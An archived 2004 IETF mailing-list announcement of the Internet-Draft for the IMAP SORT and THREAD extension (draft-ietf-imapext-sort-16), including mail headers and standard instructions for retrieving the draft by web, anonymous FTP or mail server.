above.proper.com (8.12.11/8.12.9/Submit) id i46FPWgZ076630; Thu, 6 May 2004 08:25:32 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i46FPWqT076624 for ; Thu, 6 May 2004 08:25:32 -0700 (PDT) (envelope-from dinaras@cnri.reston.va.us) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA20012; Thu, 6 May 2004 11:25:32 -0400 (EDT) Message-Id: <200405061525.LAA20012@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org Cc: ietf-imapext@imc.org From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-imapext-sort-16.txt Date: Thu, 06 May 2004 11:25:32 -0400 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Internet Message Access Protocol Extension Working Group of the IETF. Title : INTERNET MESSAGE ACCESS PROTOCOL - SORT AND THREAD EXTENSION Author(s) : M. Crispin, K. Murchison Filename : draft-ietf-imapext-sort-16.txt Pages : 0 Date : 2004-5-4 This document describes the base-level server-based sorting and threading extensions to the [IMAP] protocol. These extensions provide substantial performance improvements for IMAP clients which offer sorted and threaded views. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-imapext-sort-16.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-imapext-sort-16.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-imapext-sort-16.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-5-6113344.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-imapext-sort-16.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-imapext-sort-16.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-5-6113344.I-D@ietf.org> --OtherAccess-- --NextPart--